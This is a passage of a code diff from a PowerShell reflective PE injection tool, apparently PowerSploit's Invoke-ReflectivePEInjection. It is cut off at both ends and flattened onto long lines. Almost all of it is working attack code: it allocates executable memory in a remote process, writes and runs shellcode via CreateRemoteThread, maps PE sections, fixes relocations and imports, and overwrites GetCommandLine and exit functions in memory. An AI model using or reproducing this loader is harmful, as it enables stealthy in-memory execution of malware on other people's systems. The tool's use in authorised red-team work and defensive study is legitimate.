[System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + } - #Cleanup remote process memory - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, - if (-not $LoadByOrdinal) + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } - - return $ProcAddress - } - - - Function Copy-Sections - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - - #Address to copy the section to - [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) - - #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated - # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If - # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, - # so truncate SizeOfRawData to VirtualSize - $SizeOfRawData = $SectionHeader.SizeOfRawData - - if ($SectionHeader.PointerToRawData -eq 0) - { - $SizeOfRawData = 0 - } - - if ($SizeOfRawData -gt $SectionHeader.VirtualSize) - { - $SizeOfRawData = $SectionHeader.VirtualSize - } - - if ($SizeOfRawData -gt 0) - { - Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) - } - - #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space - if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) - { - $Difference = $SectionHeader.VirtualSize - $SizeOfRawData - [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) - Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null - $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null - } - } - } - - - Function Update-MemoryAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $OriginalImageBase, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - [Int64]$BaseDifference = 0 - $AddDifference = $true #Track if the difference variable should be added or subtracted from variables - [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) - - #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do - if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` - -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) - { - return - } - - - elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) - $AddDifference = $false - } - elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) - } - - #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified - [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) - while($true) - { - #If SizeOfBlock == 0, we are done - $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) - - if ($BaseRelocationTable.SizeOfBlock -eq 0) - { - break - } - - [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) - $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 - - #Loop through each relocation - for($i = 0; $i -lt $NumRelocations; $i++) - { - #Get info for this relocation - $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) - [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) - - #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase - [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF - [UInt16]$RelocType = $RelocationInfo -band 0xF000 - for ($j = 0; $j -lt 12; $j++) - { - $RelocType = [Math]::Floor($RelocType / 2) - } - - #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. - #This appears to be true for EXE's as well. - # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx - if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` - -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) - { - #Get the current memory address and update it based off the difference between PE expected base address and actual base address - [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) - [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) - - if ($AddDifference -eq $true) - { - [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - else - { - [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null - } - elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) - { - #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it - Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" - } - } - - $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) - } - } - - - Function Import-DllImports - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 4, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $RemoteLoading = $false - if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) - { - $RemoteLoading = $true - } - - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done importing DLL imports" - break - } - - $ImportDllHandle = [IntPtr]::Zero - $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - - if ($RemoteLoading -eq $true) - { - $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr - } - else - { - $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) - } - - if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) - { - throw "Error importing DLL, DLLName: $ImportDllPath" - } - - #Get the first thunk, then loop through all of them - [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - - while ($OriginalThunkRefVal -ne [IntPtr]::Zero) - { - $LoadByOrdinal = $false - [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero - #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit - # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint - # and doing the comparison, just see if it is less than 0 - [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) - { - [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - $LoadByOrdinal = $true - } - elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) - { - [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - $LoadByOrdinal = $true - } - else - { - [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) - $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) - $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) - $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) - } - - if ($RemoteLoading -eq $true) - { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal - } - else - { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) - } - - if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) - { - if ($LoadByOrdinal) - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" - } - else - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" - } - } + } + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) - - $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), - #Cleanup - #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed - if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) - { - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) - $ProcedureNamePtr = [IntPtr]::Zero - } - } - - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - } - - Function Get-VirtualProtectValue - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt32] - $SectionCharacteristics - ) - - $ProtectionFlag = 0x0 - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE - } - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_READONLY - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_NOACCESS - } - } - } - - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) - { - $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE - } - - return $ProtectionFlag - } - - Function Update-MemoryProtectionFlags - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) - [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) - - [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics - [UInt32]$SectionSize = $SectionHeader.VirtualSize - - [UInt32]$OldProtectFlag = 0 - Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Unable to change memory protection" - } - } - } - - #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE - #Returns an object with addresses to copies of the bytes that were overwritten (and the count) - Function Update-ExeFunctions - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ExeArguments, - - [Parameter(Position = 4, Mandatory = $true)] - [IntPtr] - $ExeDoneBytePtr - ) - - #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. - $ReturnArray = @() - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - [UInt32]$OldProtectFlag = 0 - - [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") - if ($Kernel32Handle -eq [IntPtr]::Zero) - { - throw "Kernel32 handle null" - } - - [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") - if ($KernelBaseHandle -eq [IntPtr]::Zero) - { - throw "KernelBase handle null" - } - - ################################################# - #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. - # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. - $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - - [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") - [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") - - if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) - { - throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" - } - - #Prepare the shellcode - [Byte[]]$Shellcode1 = @() - if ($PtrSize -eq 8) - { - $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 - } - $Shellcode1 += 0xb8 - - [Byte[]]$Shellcode2 = @(0xc3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length - - - #Make copy of GetCommandLineA and GetCommandLineW - $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null - $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) - $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) - - #Overwrite GetCommandLineA - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineAAddrTemp = $GetCommandLineAAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - - - #Overwrite GetCommandLineW - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineWAddrTemp = $GetCommandLineWAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - ################################################# - - - ################################################# - #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. - # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. - # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the - # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. - $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` - , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") - - foreach ($Dll in $DllList) - { - [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) - if ($DllHandle -ne [IntPtr]::Zero) - { - [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") - [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") - if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) - { - "Error, couldn't find _wcmdln or _acmdln" - } - - $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - - #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state - $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) - $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) - $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) - $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) - $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) - - $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - - $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - } - } - ################################################# - - - ################################################# - #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. - - $ReturnArray = @() - $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process - - #CorExitProcess (compiled in to visual studio c++) - [IntPtr]$MscoreeHandle = 